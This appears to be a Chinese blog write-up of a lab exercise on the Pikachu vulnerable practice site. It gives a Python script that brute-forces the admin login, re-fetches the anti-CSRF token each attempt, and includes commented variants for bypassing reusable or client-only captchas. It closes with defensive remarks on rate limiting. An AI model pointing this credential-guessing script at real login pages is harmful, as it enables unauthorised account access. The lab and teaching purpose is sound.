在對pikachu靶場的暴力破解進行測試時,我們可以使用burpsuite進行爆破,也可使用Python腳本進行自動化爆破
以下內容主要記錄本次使用Python進行暴力破解的思路:
通過burpsuite進行截斷,獲取客戶提交的http請求信息:
通過burpsuite截斷信息,我們可以獲取cookie及post提交的字段信息;
根據獲取到的信息編寫Python腳本:
import requests from bs4 import BeautifulSoup s = requests.session() password = ['123', '456', '123456', '67899'] # 設置http請求頭部信息 header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ' (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36', 'Cookie': 'PHPSESSID=of5tkhcr385na1oij0h90vr1r0' } req = s.get('http://pikachu.hack/vul/burteforce/bf_token.php') # token驗證 token= BeautifulSoup(req.text,'lxml').find('input',{'name':'token'}).get('value') for pa in password: # 基於表單的暴力破解 # req=s.post(url='http://pikachu.hack/vul/burteforce/bf_form.php',data={'username':'admin','password':pa,'submit':'Login'}) # 驗證碼繞過(on server)未失效,可重復使用 # data = {'username': 'admin', 'password': pa, 'vcode': '14xkgk', 'submit': 'Login'} # req = requests.post(url='http://pikachu.hack/vul/burteforce/bf_server.php', # data=data, headers=header) # 基於client端驗證碼,后台無校驗 # req=s.post(url='http://pikachu.hack/vul/burteforce/bf_token.php',data={'username':'admin','password':pa,'submit':'Login'}) # 基於token驗證 req=s.post(url='http://pikachu.hack/vul/burteforce/bf_token.php',data={'username':'admin','password':pa,'token':token,'submit':'Login'}) if 'success' in req.text: print("爆破成功,用戶名:admin,密碼為:%s" % pa) break else: req = s.get('http://pikachu.hack/vul/burteforce/bf_token.php') token = BeautifulSoup(req.text, 'lxml').find('input', {'name': 'token'}).get('value')
通過分析,我們可以發現,不是存在驗證碼就是安全的,若驗證碼在不刷新頁面的情況下,可以反復使用,那么我們只需要枚舉用戶名、密碼即可。可能部分頁面存在唬人的情況,頁面存在驗證碼,但實際上后端並未對驗證碼做校驗。
較為安全的是為每次請求都生成隨機的token,在提交請求的時候,對token字段也進行校驗。通過以上代碼我們可以發現,即使是存在token的情況下, 若沒有登錄限制,我們仍然可以對用戶名等進行爆破。